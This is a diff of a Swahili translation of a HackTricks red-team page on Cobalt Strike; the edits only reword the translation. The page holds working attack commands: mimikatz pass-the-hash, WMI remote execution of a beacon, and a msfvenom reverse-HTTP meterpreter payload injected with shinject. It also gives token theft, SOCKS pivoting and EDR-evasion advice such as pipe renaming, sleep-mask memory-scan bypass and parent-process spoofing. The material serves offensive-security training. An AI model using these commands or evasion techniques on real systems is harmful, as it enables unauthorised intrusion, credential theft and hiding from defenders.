## Kama make_token, hii itazalisha tukio la Windows 4624: Akaunti ilifanikiwa kuingia lakini kwa aina ya kuingia ya 2 (LOGON32_LOGON_INTERACTIVE). Itabainisha mtumiaji anayepiga simu (TargetUserName) na mtumiaji anayeghushi (TargetOutboundUserName).
|
||||
## Kama make_token, hii itazalisha tukio la Windows 4624: Akaunti imeingia kwa mafanikio lakini kwa aina ya kuingia ya 2 (LOGON32_LOGON_INTERACTIVE). Itabainisha mtumiaji anayepiga simu (TargetUserName) na mtumiaji anayepitishwa (TargetOutboundUserName).
|
||||
|
||||
## Inject into process
|
||||
inject [pid] [x64|x86] [listener]
|
||||
## Kutoka kwa mtazamo wa OpSec: Usifanye kuingiza kati ya majukwaa isipokuwa unahitaji sana (mfano x86 -> x64 au x64 -> x86).
|
||||
## Kutoka kwa mtazamo wa OpSec: Usifanye kuingiza msalaba wa jukwaa isipokuwa ni lazima (mfano x86 -> x64 au x64 -> x86).
|
||||
|
||||
## Pass the hash
|
||||
## Mchakato huu wa mabadiliko unahitaji kubadilisha kumbukumbu ya LSASS ambayo ni hatua ya hatari kubwa, inahitaji ruhusa za admin za ndani na sio rahisi sana ikiwa Mchakato Uliolindwa Mwanga (PPL) umewezeshwa.
|
||||
@ -100,7 +99,7 @@ pth [DOMAIN\user] [NTLM hash]
|
||||
|
||||
## Pass the hash through mimikatz
|
||||
mimikatz sekurlsa::pth /user:<username> /domain:<DOMAIN> /ntlm:<NTLM HASH> /run:"powershell -w hidden"
|
||||
## Bila /run, mimikatz itazalisha cmd.exe, ikiwa unakimbia kama mtumiaji mwenye Desktop, ataona shell (ikiwa unakimbia kama SYSTEM uko sawa)
|
||||
## Bila /run, mimikatz inazalisha cmd.exe, ikiwa unakimbia kama mtumiaji mwenye Desktop, ataona shell (ikiwa unakimbia kama SYSTEM uko sawa)
|
||||
steal_token <pid> #Iba token kutoka kwa mchakato ulioanzishwa na mimikatz
|
||||
|
||||
## Pass the ticket
|
||||
@ -142,18 +141,16 @@ jump [method] [target] [listener]
|
||||
## winrm64 x64 Endesha script ya PowerShell kupitia WinRM
|
||||
## wmi_msbuild x64 wmi lateral movement na msbuild inline c# task (oppsec)
|
||||
|
||||
|
||||
remote-exec [method] [target] [command] # remote-exec hairudishi matokeo
|
||||
## Njia:
|
||||
## psexec Remote execute kupitia Service Control Manager
|
||||
## psexec Remote execute kupitia Meneja wa Udhibiti wa Huduma
|
||||
## winrm Remote execute kupitia WinRM (PowerShell)
|
||||
## wmi Remote execute kupitia WMI
|
||||
|
||||
## Ili kuendesha beacon na wmi (haipo katika amri ya jump) pakua tu beacon na uendeshe
|
||||
## Ili kutekeleza beacon na wmi (haipo katika amri ya jump) pakua tu beacon na uitekeleze
|
||||
beacon> upload C:\Payloads\beacon-smb.exe
|
||||
beacon> remote-exec wmi srv-1 C:\Windows\beacon-smb.exe
|
||||
|
||||
|
||||
# Pass session to Metasploit - Through listener
|
||||
## Kwenye mwenyeji wa metaploit
|
||||
msf6 > use exploit/multi/handler
|
||||
@ -169,17 +166,16 @@ beacon> spawn metasploit
|
||||
# Pass session to Metasploit - Through shellcode injection
|
||||
## Kwenye mwenyeji wa metasploit
|
||||
msfvenom -p windows/x64/meterpreter_reverse_http LHOST=<IP> LPORT=<PORT> -f raw -o /tmp/msf.bin
|
||||
## Endesha msfvenom na uandae msikilizaji wa multi/handler
|
||||
## Kimbia msfvenom na uandae msikilizaji wa multi/handler
|
||||
|
||||
## Nakili faili ya bin kwenye mwenyeji wa cobalt strike
|
||||
ps
|
||||
shinject <pid> x64 C:\Payloads\msf.bin #Ingiza shellcode ya metasploit katika mchakato wa x64
|
||||
|
||||
# Pass metasploit session to cobalt strike
|
||||
## Fenerate stageless Beacon shellcode, nenda kwa Attacks > Packages > Windows Executable (S), chagua msikilizaji unaotaka, chagua Raw kama aina ya Matokeo na chagua Tumia payload ya x64.
|
||||
## Fenerate stageless Beacon shellcode, nenda kwa Attacks > Packages > Windows Executable (S), chagua msikilizaji unaotaka, chagua Raw kama aina ya Matokeo na chagua Tumia x64 payload.
|
||||
## Tumia post/windows/manage/shellcode_inject katika metasploit kuingiza shellcode iliyozalishwa ya cobalt strike
|
||||
|
||||
|
||||
# Pivoting
|
||||
## Fungua proxy ya socks katika teamserver
|
||||
beacon> socks 1080
|
||||
@ -191,7 +187,7 @@ beacon> ssh 10.10.17.12:22 username password</code></pre>
|
||||
|
||||
### Execute-Assembly
|
||||
|
||||
**`execute-assembly`** inatumia **mchakato wa dhabihu** kwa kutumia kuingiza mchakato wa mbali kuendesha programu iliyoonyeshwa. Hii ni kelele sana kwani kuingiza ndani ya mchakato APIs fulani za Win zinatumika ambazo kila EDR inakagua. Hata hivyo, kuna zana za kawaida ambazo zinaweza kutumika kupakia kitu katika mchakato sawa:
|
||||
**`execute-assembly`** inatumia **mchakato wa dhabihu** kwa kutumia kuingiza mchakato wa mbali kutekeleza programu iliyoonyeshwa. Hii ni kelele sana kwani kuingiza ndani ya mchakato APIs fulani za Win zinatumika ambazo kila EDR inakagua. Hata hivyo, kuna zana za kawaida ambazo zinaweza kutumika kupakia kitu katika mchakato mmoja:
|
||||
|
||||
- [https://github.com/anthemtotheego/InlineExecute-Assembly](https://github.com/anthemtotheego/InlineExecute-Assembly)
|
||||
- [https://github.com/kyleavery/inject-assembly](https://github.com/kyleavery/inject-assembly)
|
||||
@ -204,26 +200,26 @@ Script ya agressor `https://github.com/outflanknl/HelpColor` itaunda amri ya `he
|
||||
|
||||
Unaweza kuangalia matukio kama `Seatbelt.exe LogonEvents ExplicitLogonEvents PoweredOnEvents`:
|
||||
|
||||
- Usalama EID 4624 - Angalia kuingia kwa mwingiliano wote ili kujua masaa ya kawaida ya kazi.
|
||||
- Usalama EID 4624 - Angalia kila kuingia kwa mwingiliano ili kujua masaa ya kawaida ya kufanya kazi.
|
||||
- Mfumo EID 12,13 - Angalia mara za kuzima/kuzindua/usingizi.
|
||||
- Usalama EID 4624/4625 - Angalia majaribio halali/siyo halali ya NTLM.
|
||||
- Usalama EID 4648 - Tukio hili linaundwa wakati akidi za maandiko zinapotumika kuingia. Ikiwa mchakato umeunda, binary hiyo ina uwezekano wa kuwa na akidi hizo wazi katika faili ya usanidi au ndani ya msimbo.
|
||||
- Usalama EID 4648 - Tukio hili linaundwa wakati akidi za maandiko zinapotumika kuingia. Ikiwa mchakato umeunda, binary ina uwezekano wa kuwa na akidi hizo wazi katika faili ya usanidi au ndani ya msimbo.
|
||||
|
||||
Unapotumia `jump` kutoka cobalt strike, ni bora kutumia njia ya `wmi_msbuild` ili kufanya mchakato mpya uonekane halali zaidi.
|
||||
|
||||
### Use computer accounts
|
||||
|
||||
Ni kawaida kwa walinzi kuangalia tabia za ajabu zinazozalishwa na watumiaji na **kuondoa akaunti za huduma na akaunti za kompyuta kama `*$` kutoka kwa ufuatiliaji wao**. Unaweza kutumia akaunti hizi kufanya harakati za pembeni au kupandisha hadhi.
|
||||
Ni kawaida kwa walinzi kuangalia tabia za ajabu zinazozalishwa kutoka kwa watumiaji na **kuondoa akaunti za huduma na akaunti za kompyuta kama `*$` kutoka kwa ufuatiliaji wao**. Unaweza kutumia akaunti hizi kufanya harakati za pembeni au kupandisha hadhi.
|
||||
|
||||
### Use stageless payloads
|
||||
|
||||
Payloads zisizo na hatua ni kelele kidogo kuliko zile zenye hatua kwa sababu hazihitaji kupakua hatua ya pili kutoka kwa seva ya C2. Hii inamaanisha kwamba hazizalishi trafiki yoyote ya mtandao baada ya muunganisho wa awali, na kufanya kuwa na uwezekano mdogo wa kugunduliwa na ulinzi wa mtandao.
|
||||
Stageless payloads ni kelele kidogo kuliko zile zilizopangwa kwa sababu hazihitaji kupakua hatua ya pili kutoka kwa seva ya C2. Hii inamaanisha kwamba hazizalishi trafiki yoyote ya mtandao baada ya muunganisho wa awali, na kufanya kuwa na uwezekano mdogo wa kugunduliwa na ulinzi wa mtandao.
|
||||
|
||||
### Tokens & Token Store
|
||||
|
||||
Kuwa makini unapoiba au kuunda token kwa sababu inaweza kuwa na uwezekano kwa EDR kuhesabu token zote za nyuzi zote na kupata **token inayomilikiwa na mtumiaji tofauti** au hata SYSTEM katika mchakato.
|
||||
Kuwa makini unapoiba au kuunda tokens kwa sababu inaweza kuwa inawezekana kwa EDR kuorodhesha tokens zote za nyuzi zote na kupata **token inayomilikiwa na mtumiaji tofauti** au hata SYSTEM katika mchakato.
|
||||
|
||||
Hii inaruhusu kuhifadhi token **kwa beacon** ili sio lazima kuiba token hiyo tena na tena. Hii ni muhimu kwa harakati za pembeni au wakati unahitaji kutumia token iliyibwa mara nyingi:
|
||||
Hii inaruhusu kuhifadhi tokens **kwa beacon** ili sio lazima kuiba token hiyo tena na tena. Hii ni muhimu kwa harakati za pembeni au unapohitaji kutumia token iliyibwa mara nyingi:
|
||||
|
||||
- token-store steal <pid>
|
||||
- token-store steal-and-use <pid>
|
||||
@ -232,13 +228,13 @@ Hii inaruhusu kuhifadhi token **kwa beacon** ili sio lazima kuiba token hiyo ten
|
||||
- token-store remove <id>
|
||||
- token-store remove-all
|
||||
|
||||
Unapohamia kwa pembeni, kawaida ni bora **kuiba token kuliko kuunda mpya** au kufanya shambulio la kupitisha hash.
|
||||
Unapohamisha kwa pembeni, kawaida ni bora **kuiba token kuliko kuunda mpya** au kufanya shambulio la kupitisha hash.
|
||||
|
||||
### Guardrails
|
||||
|
||||
Cobalt Strike ina kipengele kinachoitwa **Guardrails** ambacho husaidia kuzuia matumizi ya amri au hatua fulani ambazo zinaweza kugunduliwa na walinzi. Guardrails zinaweza kuwekewa mipangilio kuzuia amri maalum, kama vile `make_token`, `jump`, `remote-exec`, na nyinginezo ambazo hutumiwa mara kwa mara kwa harakati za pembeni au kupandisha hadhi.
|
||||
Cobalt Strike ina kipengele kinachoitwa **Guardrails** ambacho husaidia kuzuia matumizi ya amri au hatua fulani ambazo zinaweza kugunduliwa na walinzi. Guardrails zinaweza kuundwa kuzuia amri maalum, kama vile `make_token`, `jump`, `remote-exec`, na nyinginezo ambazo hutumiwa mara kwa mara kwa harakati za pembeni au kupandisha hadhi.
|
||||
|
||||
Zaidi ya hayo, repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) pia ina baadhi ya ukaguzi na mawazo unayoweza kuzingatia kabla ya kutekeleza payload.
|
||||
Zaidi ya hayo, repo [https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks](https://github.com/Arvanaghi/CheckPlease/wiki/System-Related-Checks) pia ina baadhi ya ukaguzi na mawazo ambayo unaweza kuzingatia kabla ya kutekeleza payload.
|
||||
|
||||
### Tickets encryption
|
||||
|
||||
@ -250,29 +246,29 @@ Unapotumia Cobalt Strike kwa kawaida mabomba ya SMB yatakuwa na jina `msagent_##
|
||||
|
||||
Zaidi ya hayo, na vikao vya SSH bomba linaloitwa `\\.\pipe\postex_ssh_####` linaanzishwa. Badilisha kwa `set ssh_pipename "<new_name>";`.
|
||||
|
||||
Pia katika shambulio la poext exploitation mabomba `\\.\pipe\postex_####` yanaweza kubadilishwa kwa `set pipename "<new_name>"`.
|
||||
Pia katika shambulio la baada ya unyakuzi mabomba `\\.\pipe\postex_####` yanaweza kubadilishwa kwa `set pipename "<new_name>"`.
|
||||
|
||||
Katika profaili za Cobalt Strike unaweza pia kubadilisha mambo kama:
|
||||
|
||||
- Kuepuka kutumia `rwx`
|
||||
- Jinsi tabia ya kuingiza mchakato inavyofanya kazi (ni APIs zipi zitakazotumika) katika block ya `process-inject {...}`
|
||||
- Jinsi "fork and run" inavyofanya kazi katika block ya `post-ex {…}`
|
||||
- Wakati wa usingizi
|
||||
- Wakati wa kulala
|
||||
- Ukubwa wa juu wa binaries zinazoweza kupakiwa kwenye kumbukumbu
|
||||
- Alama ya kumbukumbu na maudhui ya DLL na block ya `stage {...}`
|
||||
- Trafiki ya mtandao
|
||||
|
||||
### Bypass memory scanning
|
||||
|
||||
Baadhi ya EDRs zinakagua kumbukumbu kwa baadhi ya saini za malware zinazojulikana. Coblat Strike inaruhusu kubadilisha kazi ya `sleep_mask` kama BOF ambayo itakuwa na uwezo wa kusimbua katika kumbukumbu backdoor.
|
||||
Baadhi ya ERDs zinakagua kumbukumbu kwa baadhi ya saini za malware zinazojulikana. Coblat Strike inaruhusu kubadilisha kazi ya `sleep_mask` kama BOF ambayo itakuwa na uwezo wa kusimbua katika kumbukumbu backdoor.
|
||||
|
||||
### Noisy proc injections
|
||||
|
||||
Wakati wa kuingiza msimbo katika mchakato hii kwa kawaida ni kelele sana, hii ni kwa sababu **hakuna mchakato wa kawaida kwa kawaida unafanya hatua hii na kwa sababu njia za kufanya hivyo ni chache sana**. Hivyo, inaweza kugunduliwa na mifumo ya kugundua inayotegemea tabia. Aidha, inaweza pia kugunduliwa na EDRs zinazoskania mtandao kwa **nyuzi zinazohusisha msimbo ambao haupo kwenye diski** (ingawa michakato kama vivinjari vinavyotumia JIT vina hii kawaida). Mfano: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
|
||||
Wakati wa kuingiza msimbo katika mchakato hii kawaida huwa na kelele nyingi, hii ni kwa sababu **hakuna mchakato wa kawaida unafanya hatua hii na kwa sababu njia za kufanya hivyo ni chache sana**. Hivyo, inaweza kugunduliwa na mifumo ya kugundua inayotegemea tabia. Aidha, inaweza pia kugunduliwa na EDRs zinazoangalia mtandao kwa **nyuzi zinazoshikilia msimbo ambao haupo kwenye diski** (ingawa michakato kama vivinjari vinavyotumia JIT vina hii kawaida). Mfano: [https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2](https://gist.github.com/jaredcatkinson/23905d34537ce4b5b1818c3e6405c1d2)
|
||||
|
||||
### Spawnas | PID and PPID relationships
|
||||
|
||||
Unapozalisha mchakato mpya ni muhimu **kuhifadhi uhusiano wa kawaida wa mzazi-na-mwana** kati ya michakato ili kuepuka kugunduliwa. Ikiwa svchost.exec inatekeleza iexplorer.exe itakuwa na shaka, kwani svchost.exe si mzazi wa iexplorer.exe katika mazingira ya kawaida ya Windows.
|
||||
Wakati wa kuanzisha mchakato mpya ni muhimu **kuhifadhi uhusiano wa kawaida wa mzazi-na-mwana** kati ya michakato ili kuepuka kugunduliwa. Ikiwa svchost.exec inatekeleza iexplorer.exe itakuwa na shaka, kwani svchost.exe si mzazi wa iexplorer.exe katika mazingira ya kawaida ya Windows.
|
||||
|
||||
Wakati beacon mpya inazalishwa katika Cobalt Strike kwa kawaida mchakato unaotumia **`rundll32.exe`** unaundwa ili kuendesha msikilizaji mpya. Hii si stealthy sana na inaweza kugunduliwa kwa urahisi na EDRs. Zaidi ya hayo, `rundll32.exe` inakimbia bila args yoyote ikifanya kuwa na shaka zaidi.
|
||||
|
||||
@ -284,7 +280,7 @@ You can aso change this setting **`spawnto_x86` and `spawnto_x64`** in a profile
|
||||
|
||||
### Proxying attackers traffic
|
||||
|
||||
Wakati mwingine washambuliaji watahitaji kuwa na uwezo wa kukimbia zana kwa ndani, hata kwenye mashine za linux na kufanya trafiki ya waathirika ifikie zana (e.g. NTLM relay).
|
||||
Wakati mwingine washambuliaji watahitaji kuwa na uwezo wa kuendesha zana kwa ndani, hata kwenye mashine za linux na kufanya trafiki ya waathirika ifikie zana (kwa mfano, NTLM relay).
|
||||
|
||||
Zaidi ya hayo, wakati mwingine kufanya shambulio la pass-the-hash au pass-the-ticket ni rahisi zaidi kwa mshambuliaji **kuongeza hash hii au tiketi katika mchakato wake wa LSASS** kwa ndani na kisha kuhamasisha kutoka hapo badala ya kubadilisha mchakato wa LSASS wa mashine ya mwathirika.
|
||||
|
||||
@ -364,4 +360,4 @@ pscp -r root@kali:/opt/cobaltstrike/artifact-kit/dist-pipe .
|
||||
```
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user